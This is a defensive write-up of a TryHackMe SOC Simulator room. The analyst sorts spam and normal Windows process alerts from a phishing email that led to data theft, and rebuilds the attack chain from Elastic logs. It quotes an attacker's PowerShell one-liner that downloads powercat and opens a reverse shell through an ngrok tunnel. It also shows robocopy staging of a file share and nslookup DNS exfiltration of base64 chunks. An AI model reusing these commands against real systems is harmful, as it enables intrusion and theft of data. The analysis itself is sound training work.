TryHackMe Phishing Unfolding: Finding a Data Breach in a Noisy Alert Queue

TryHackMe Phishing Unfolding: Finding a Data Breach in a Noisy Alert Queue

Thirty-odd alerts, most of them noise. Working a live SOC Simulator queue, separating spam and normal Windows activity from a phishing email that turned into a reverse shell and a financial records share leaking out over DNS.

The real attack was sitting between a hat enhancement pill ad and a Windows update.

Phishing Unfolding is a TryHackMe SOC Simulator room. Instead of answering questions, you sit in an L1 analyst seat at a company called TryHatMe and work a live alert queue. Alerts keep arriving, and every one needs a verdict (true positive or false positive), a decision on whether to escalate, and a written case report. The SIEM is Elastic, and the logs come from the email gateway and Sysmon.

Most of the queue came from two rules: “Suspicious email from external domain”, which fires on unusual domain endings like .xyz or .online, and “Suspicious Parent Child Relationship”, which fires on rare process pairs. Most of what those rules caught was harmless, and the actual attack was spread across about fifteen alerts in between.

The noise: spam emails

The first alert set the pattern for the email rule:

Alert 1000: inheritance scam email

An “unknown billionaire relative” wants your banking details, sent from a .me domain. The SOC Lead even left a note in the description: “This detection rule still needs fine-tuning.” The email playbook steps are: check the sender’s reputation, review any attachments, look for related alerts, then write the report. The domain came back clean, there was no attachment, and the SIEM had no other emails from that sender.

I marked it a true positive, since asking a stranger for banking details is fraud. The sim graded it as a false positive, and it was the only alert I got wrong. Looking back, the sim judges an email by whether it has something that can actually do damage, like a link or an attachment, not by how scammy the text is. Every other email from this rule was the same kind of thing: ads for hat time travel, “work from home and make 10000 a day”, and “buy 100 hats get 99 free” (from a gmail.com address, so the domain rule wasn’t even working properly). None of them had a link, an attachment or a real request, so I closed them all as false positives. The SOC Lead’s note was a hint, and I should have given it more weight.

The noise: normal Windows processes

The process rule was just as noisy. The first one looked like this:

Alert 1001: TrustedInstaller started by services.exe

The process playbook asks you to check the executable’s name, command line, full path, parent process and the user account. For TrustedInstaller.exe started by services.exe from C:\Windows\servicing\, every one of those matches the legitimate Windows Modules Installer, the service that installs updates. These were all false positives, and they kept coming back on different hosts:

Child processParentWhat it actually is
TrustedInstaller.exeservices.exeWindows Modules Installer (updates)
WUDFHost.exe -HostGUID:{...}services.exeUser-mode driver host loading a device driver
svchost.exe -k wsappx -pservices.exeMicrosoft Store / app deployment services
taskhostw.exe KEYROAMINGsvchost.exeBuilt-in certificate roaming scheduled task
taskhostw.exe NGCKeyPregensvchost.exeWindows Hello key pre-generation task
rdpclip.exesvchost.exeRDP clipboard helper, starts with a Remote Desktop session

The test I settled on is to check three things: is it the expected parent, is it in the expected path under C:\Windows, and are the arguments normal. If any of those is off, look closer. One catch is that the alerts only show the working directory, not where the executable lives on disk, and a fake taskhostw.exe in AppData could still have system32 as its working directory. I looked a couple of the PIDs up in Elastic to get the full path and user, but this sim’s Sysmon logs don’t include those fields, so I noted that in the reports.

The one that mattered: an invoice ZIP

Alert 1005 was different:

Alert 1005: overdue invoice email with a ZIP attachment

“FINAL NOTICE”, account suspension “today”, legal action within 24 hours, and an attached “invoice” named ImportantInvoice-Febrary.zip, typo included, sent from hatmakereurope.xyz to Michael Ascot. Real invoices come as PDFs. Attackers use ZIP files to get scripts and shortcut files past email filters. The sender’s reputation came back clean again, which mostly tells you the domain is new.

The key question was whether Michael opened it. Searching the SIEM for the attachment name only found the email itself, and nothing showed up on his host. So I closed it as a true positive, no escalation, and made a note to keep an eye on Michael’s account. That turned out to matter.

Following the attack on win-3450

About twenty minutes later, a Medium-severity alert came in, so I took it ahead of the Low ones still in the queue:

Alert 1022: net use mapping the financial records share

net.exe use Z: \\FILESRV-01\SSF-FinancialRecords, started by powershell.exe, running from C:\Users\michael.ascot\downloads\. People map drives through File Explorer or a login script, not with PowerShell from their Downloads folder. And it was Michael’s Downloads folder, the same person who got the invoice ZIP.

What the attacker’s shell ran

The parent PowerShell was PID 3728, so I searched for it and for everything it started:

process.pid: "3728" or process.parent.pid: "3728"

Everything PowerShell 3728 created

Fifteen events, and read from the bottom up they show the whole collection and exfiltration phase:

  1. Create a folder called Downloads\exfiltration.
  2. Map the financial records share as Z:.
  3. Unmap Z: again.
  4. Create exfiltration\exfilt8me.zip.
  5. Run nslookup.exe repeatedly with long random-looking subdomains of haz4rdw4re.io.

(Elastic shows times in the browser’s local time zone, five hours behind the alerts. 13:09 in these screenshots is 18:09 in the alert queue. That confused me until I worked it out.)

How the attacker got in

Next, network activity on the host:

host.name: "win-3450" and event.code: (3 or 22)

DNS lookups for raw.githubusercontent.com and 2.tcp.ngrok.io

Two DNS lookups a few minutes earlier from a different PowerShell process, PID 3880: raw.githubusercontent.com and 2.tcp.ngrok.io. GitHub is a common place to download tools from, and ngrok is a tunneling service attackers use to receive reverse shells. Looking up how 3880 was started showed the attacker’s entry point:

PowerShell 3880 launching powercat

explorer.exe
 └─ powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString(
      'https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
      powercat -c 2.tcp.ngrok.io -p 19282 -e powershell"

IEX(... DownloadString(...)) downloads powercat, a PowerShell version of netcat, and runs it in memory without saving a file. powercat -c ... -e powershell then connects out to the attacker’s ngrok tunnel and gives them a PowerShell prompt. The parent is explorer.exe, which means Michael double-clicked something. That fits the ZIP from alert 1005. I never found the exact file he opened, which is the one gap left in the timeline.

Recon, collection and cleanup

With the timeline in hand, I went back to the alerts I’d skipped, and several of them were pieces of the same attack. A minute and a half after the shell connected, a PowerView.ps1 file appeared in Michael’s Downloads:

Alert 1020: PowerView.ps1 written to Downloads

PowerView is an Active Directory recon tool, and listing every file share on the network is one of its main uses. That’s most likely how the attacker found SSF-FinancialRecords. Then, after the share was mapped, came the copy:

Alert 1023: Robocopy copying the share into the staging folder

Robocopy.exe . C:\Users\michael.ascot\downloads\exfiltration /E, run with Z:\ as the working directory. The . means “here”, which is the root of the financial records share, and /E copies every subfolder. So the attacker copied the whole share into the staging folder. Alert 1024 was the net use Z: /delete straight after, which removes the mapped drive to cover tracks.

Exfiltration over DNS

The last ten alerts (1025–1034) were all High, and they were all the same thing:

Alert 1025: nslookup with a base64 subdomain

nslookup.exe UEsDBBQAAAAIANigLlfVU3cDIgAAAI.haz4rdw4re.io

This is DNS exfiltration. The attacker controls the DNS server for haz4rdw4re.io, so every lookup for a subdomain of it ends up at their server, carrying whatever text is in the subdomain. Split a file into base64 chunks, send one lookup per chunk, and the file leaves the network disguised as ordinary DNS traffic, which a lot of networks don’t watch closely.

The first chunk confirms what’s being sent. UEsDB is how every ZIP file starts in base64, because ZIPs begin with the bytes PK (for PKZIP). So exfilt8me.zip, the copied financial records, is what left the network. The last two lookups ran from a different folder and carried a separate string. Putting them together and decoding from base64 gives the room’s flag, THM{REDACTED}.

The full chain

TimeStepAlert
17:46Phishing email with ImportantInvoice-Febrary.zip delivered to Michael1005
18:06Michael opens it, and explorer.exe launches the powercat reverse shell over ngrok(found in SIEM)
18:07PowerView.ps1 downloaded for share discovery1020
18:09net use Z: \\FILESRV-01\SSF-FinancialRecords1022
18:10Robocopy /E copies the share into Downloads\exfiltration1023
18:10net use Z: /delete cleanup1024
18:10exfilt8me.zip created(found in SIEM)
18:11ZIP sent out as base64 chunks in nslookup queries to haz4rdw4re.io1025–1034

I escalated 1022 and grouped 1020, 1023, 1024 and 1025–1034 under the same case.

IOCs

  • Phishing sender: john[@]hatmakereurope[.]xyz
  • Attachment: ImportantInvoice-Febrary.zip
  • Tool download: hxxps://raw.githubusercontent[.]com/besimorhino/powercat/master/powercat.ps1
  • Reverse shell: 2.tcp.ngrok[.]io:19282 → 3.22.53[.]161
  • Exfiltration domain: haz4rdw4re[.]io
  • Recon tool: C:\Users\michael.ascot\Downloads\PowerView.ps1
  • Staging: C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip
  • Targeted share: \\FILESRV-01\SSF-FinancialRecords

Response

The recommendations I put in the escalation:

  1. Isolate win-3450 right away. The attacker had a live shell on it.
  2. Disable michael.ascot and reset the password, then review where the account has signed in.
  3. Block haz4rdw4re.io, *.ngrok.io and 3.22.53.161 at DNS and the firewall.
  4. Use FILESRV-01 access logs to work out exactly which files were taken, and treat the financial records as breached.
  5. Pull the phishing email from every mailbox and search other hosts for powercat, ngrok and long encoded nslookup queries.
  6. Detection gaps: alert on nslookup.exe with a PowerShell parent, on unusually long DNS subdomains, and on IEX/DownloadString in PowerShell command lines. Also tune the two noisy rules so the real alerts stand out.

Wrapping up

I got every alert right except the first one. The lessons I’m taking from this room:

  • Sort by severity first. The Medium and High alerts were the real incident, and getting to them sooner would have connected them to 1005 faster.
  • A clean reputation result doesn’t mean safe. The phishing domain that started the breach came back clean.
  • Judge each alert on what you knew at the time. 1005 was graded correct as “true positive, no escalation” even though the attack later showed it had been opened.
  • Know the normal Windows process pairs. Being able to recognise TrustedInstaller, WUDFHost and taskhostw quickly is what freed up time to dig into the alerts that mattered.